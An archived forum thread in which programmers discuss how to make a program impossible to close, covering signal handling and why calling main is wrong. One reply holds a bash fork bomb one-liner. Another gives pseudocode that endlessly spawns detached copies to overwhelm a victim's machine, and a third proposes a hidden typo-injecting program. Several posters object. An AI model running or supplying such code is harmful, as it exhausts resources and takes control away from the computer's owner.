Unclosable program

So, what I think you could do, is make a program where a global variable is your own class. Then, in the destructor, you make it call main() again.

So whenever the program exited, it would be revitalized.

This may not work, so please give feedback.
1) Why would you want the program to infinitely loop?
2) You will never run into a situation where you want to call main()
Last edited on
closed account (Dy7SLyTq)
a) i dont think the compiler will even let you do that.
b) you could do it in terminal, but it would require a little bit of a recursive hack
c) if your using a gui just poll for events and dont let them close on hitting the x
1. You can't (shouldn't) call main
2. Calling main does not prevent the program from closing
Short answer:
You can't do that - if user is desperate enough to close the program - he will.

Long answer:
You can write a callback handler for SIGTERM signal on Linux and ignore it. Or eventually handle it normally, but before exiting, launch a new instance of the process, detached from the parent. On Windows there is a corresponding message for SIGTERM, but I don't remember its name (WM_something) WM_TERMINATE.
However, you can't block/hook SIGKILL (hard terminate) signal/message this way, neither on Linux nor Windows. So if the user decides to kill your app with kill -9 <pid>, your app will exit, regardless what you do.
Last edited on
I thought a good way would be this

Pseudocode:

1
2
3
4
5
6
while(true)
{
        ShellExecute(blablabla,"foo.exe", DETATCHED) //Whatever, start a new instance of the program separate from the parent
        cout << "HA";
}


This should CHEW their computer with hundreds of this program all outputting
HAHAHAHAHAHAHAHAHAHAHAHAHAHHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAH...


That would be scary for non- computer geeks.
closed account (S6k9GNh0)
You can do this with basic batch scripts. It's easily avoidable.
By standards, as LB said, you should never call (or take the address of) main function.
You should use loops instead.
But in the case of a "hard terminate" none of your shutdown code would even run.

Edit: 1000th post!! Wooo!
Last edited on

This should CHEW their computer with hundreds of this program all outputting


This will only run out of user process limit. Nothing even remotely close to chewing the whole machine (assuming the user is running a real OS, and not Win 95 or DOS)
Last edited on
closed account (1yR4jE8b)
1
2
#!/bin/bash
:(){ :|:& };:
Last edited on
You could use the old Robin Hook/Friar Tuck trick.

http://www.catb.org/jargon/html/meaning-of-hack.html
...but Robin Hood and Friar Tuck were both daemons (on Windows they would be services).

At what kind of privilege level do you think your friends will run this/these program/s?



[edit] Oh, and to add something more substantial... any program that behaves like you suggest would be instantly removed from the infected computer, and if your targets don't come at you with pitchforks, you might still get something nasty in the mail.

People hate software that disobeys them. And they feel a might bit less kindly towards people who write software that disobeys them.
Last edited on
They don't have to be. They work just as well when ran as normal user processes.

Oh, and to add something more substantial... any program that behaves like you suggest would be instantly removed from the infected computer, and if your targets don't come at you with pitchforks, you might still get something nasty in the mail.

People hate software that disobeys them. And they feel a might bit less kindly towards people who write software that disobeys them.


lol, me too.
Another thing that would be cool(or not cool) would be to have a program hidden from the user, and when ever they typed, it would force typos(programmatically press a key).

That would be hilarious to watch someone try to get into a account.


Logon Failed.

Elijah Sink 
********
Logon Failed

Elijarh Sink
*******


LOL
^ n1. Check your mail :D j/k
Topic archived. No new replies allowed.